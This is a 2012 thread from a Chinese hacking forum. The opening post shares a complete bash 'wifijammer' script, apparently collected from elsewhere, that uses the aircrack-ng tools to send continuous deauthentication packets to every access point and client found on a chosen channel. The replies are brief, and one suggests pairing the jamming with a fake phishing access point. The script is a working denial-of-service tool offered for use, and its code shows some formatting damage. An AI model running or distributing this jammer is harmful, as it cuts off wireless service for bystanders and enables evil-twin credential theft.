# 一个干扰wifi的shell脚本

**URL:** <https://forum.90sec.com/t/topic/3347>\
**Category:** 工具资源\
**Created:** [2012 年3 月 17 日 09:59 UTC](https://forum.90sec.com/t/topic/3347 "2012-03-17T09:59:09Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

作者： ![dllk](https://forum.90sec.com/user_avatar/forum.90sec.com/dllk/32/11327_2.png) [@dllk](https://forum.90sec.com/u/dllk)\
发布日期： [2012 年3 月 17 日 09:59 UTC](https://forum.90sec.com/t/topic/3347/1 "2012-03-17T09:59:09Z")

</div>

wifijammer 0.1  
忘了啥时候在哪捡的了#!/bin/bash

# This is a bash based wifi jammer. It uses your wifi card

# to continuously send de-authenticate packets to every client

# on a specified channel... at lest thats what its suppose to do.

# This program needs the Aircrack-ng suit to function

# - and a wifi card that works with aircrack.

# Checks if this file is being ran as root.

if [x"`which id 2&gt; /dev/null`" != "x"]  
then  
USERID="`id -u 2&gt; /dev/null`"  
fi  
if [x$USERID = "x" -a x$UID != "x"]  
then  
USERID=$UID  
fi  
if [x$USERID != "x" -a x$USERID != "x0"]  
then  
#Guess not  
echo Run it as root ; exit ;  
fi

# Changes working directory to the same as this file

DIR="( cd "( dirname "$0" )" && pwd )"  
cd $DIR

# Sets first command line VAR

WIFIVAR="$1"  
#Checks if user specified a WIFI card  
if [x"$WIFIVAR" = x""]  
then  
echo "No wifi card specified, scanning for available cards (doesnt always work)"  
USWC="no"  
else  
echo "Using user specified wifi card ""$WIFIVAR"  
USWC="yes"  
fi  
if [x"$USWC" = x"no"]  
then

# Uses Airmon-ng to scan for available wifi cards.

airmon-ng|cut -b 1,2,3,4,5,6,7 \> clist01  
count=0  
if [-e "clist"]; then  
rm clist  
fi  
cat clist01 |while read LINE ; do  
if [$count -gt 3];then  
echo "$LINE" | cut -b 1-7 | tr -d [:space:] \>\>clist  
count=$((count+1))  
else  
count=$((count+1))  
fi  
done  
rm clist01  
WIFI=`cat clist`  
echo "Using first available Wifi card: `airmon-ng|grep "$WIFI"`"  
echo "If you would like to specify your own card please do so at the command line"  
echo "etc: sudo ./wifijammer\_0.1 eth0"  
rm clist  
else  
WIFI="$WIFIVAR"  
fi  
#Check for a wifi card  
if [x"$WIFI" = x""]; then  
#Guess no wifi card was detected  
echo "No wifi card detected. Quitting"  
exit  
fi  
#Start the wireless interface in monitor mode  
if [x"$airmoncard" != x"1"]; then  
airmon-ng start $WIFI \>tempairmonoutput  
airmoncard="1"  
fi  
#Looks for wifi card thats been set in Monitor mode  
if [x"$testcommandvar02" = x""];then  
WIFI02=`cat tempairmonoutput|grep "monitor mode enabled on" |cut -b 30-40 | tr -d [:space:] |tr -d ")"`  
if [x$WIFI02 = x];then  
WIFI02=`cat tempairmonoutput|grep "monitor mode enabled" |cut -b 1-5 | tr -d [:space:]`  
fi  
WIFI="$WIFI02"  
rm tempairmonoutput  
fi  
echo "$WIFI"

# Asks user to specify a channel to jam, or to see a 40 second scan of the area

read -p "Please specify a channel to jam, or type in 'scan' (without quotes) to see airodump's output for 40 seconds:" NUMBER

# If something was entered that was not "scan" then assume its a number and continue

if [x"$NUMBER" != x"scan"];then  
CHANNEL="$NUMBER"  
else

# scan was entered, so start airodump-ng in channel hopping mode to scan the area

```
    airodump-ng $WIFI &
    SCANPID=$!
    sleep 40s
    kill $SCANPID
    sleep 1s

```

# Asks user to specify a channel

```
    read -p "Please specify a channel to jam:" NUMBER
    CHANNEL="$NUMBER"

```

fi

# Launches airodump-ng on specified channel to start gathering a client list

rm \*.csv  
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $NUMBER -w airodumpoutput $WIFI" 2\>/dev/null &

# Removes temp files that are no longer needed

rm \*.cap 2\>/dev/null  
rm \*.kismet.csv 2\>/dev/null  
rm \*.netxml 2\>/dev/null

# Makes a folder that will be needed later

mkdir stationlist 2\>/dev/null  
rm stationlist/\*.txt

# Start a loop so new clients can be added to the jamming list

while [x1];do  
sleep 5s

# Takes appart the list of clients and reorganizes it in to something useful

```
    cat airodumpoutput*.csv|while read LINE01 ; do
            echo "$LINE01" &gt; tempLINE01
            LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]`
            rm tempLINE01

```

# Ignores any blank

```
            if [x"$LINE" != x""];then
                    if [x"$LINE" = x"StationMAC"];then
                            start="no"
                    fi
                    if [x"$start" = x"yes"];then
                            if [-e stationlist/"$LINE".txt];then
                                    echo "" 2&gt;/dev/null
                            else

```

# Lauches new window with de-authenticate thingy doing it's thing

```
                                    xterm -fn fixed -geom -0-0 -title "Jamming $LINE" -e "aireplay-ng --deauth 0 -a $LINE $WIFI" &
                                    echo "$LINE" &gt; stationlist/$LINE.txt
                            fi
                    fi
                    if [x"$LINE" = x"BSSID"];then
                            start="yes"
                    fi
            fi
    done

```

done

---

<div class="post-metadata">

作者： ![user35](https://forum.90sec.com/user_avatar/forum.90sec.com/user35/32/11382_2.png) [@user35](https://forum.90sec.com/u/user35)\
发布日期： [2012 年3 月 17 日 10:09 UTC](https://forum.90sec.com/t/topic/3347/2 "2012-03-17T10:09:59Z")

</div>

这个....让有线网络情何以堪....

---

<div class="post-metadata">

作者： ![j8Hcker](https://forum.90sec.com/user_avatar/forum.90sec.com/j8hcker/32/11396_2.png) [@j8Hcker](https://forum.90sec.com/u/j8Hcker)\
发布日期： [2012 年3 月 17 日 10:59 UTC](https://forum.90sec.com/t/topic/3347/3 "2012-03-17T10:59:57Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=19191&ptid=1828) _dllk_ \*\*  
很久以前貌似在dis9看到过。

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年3 月 17 日 11:02 UTC](https://forum.90sec.com/t/topic/3347/4 "2012-03-17T11:02:14Z")

</div>

具体怎么实施?干扰真wifi,然后自建钓鱼wifi

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年3 月 18 日 01:07 UTC](https://forum.90sec.com/t/topic/3347/5 "2012-03-18T01:07:32Z")

</div>

。。。。干扰 然后呢。。。
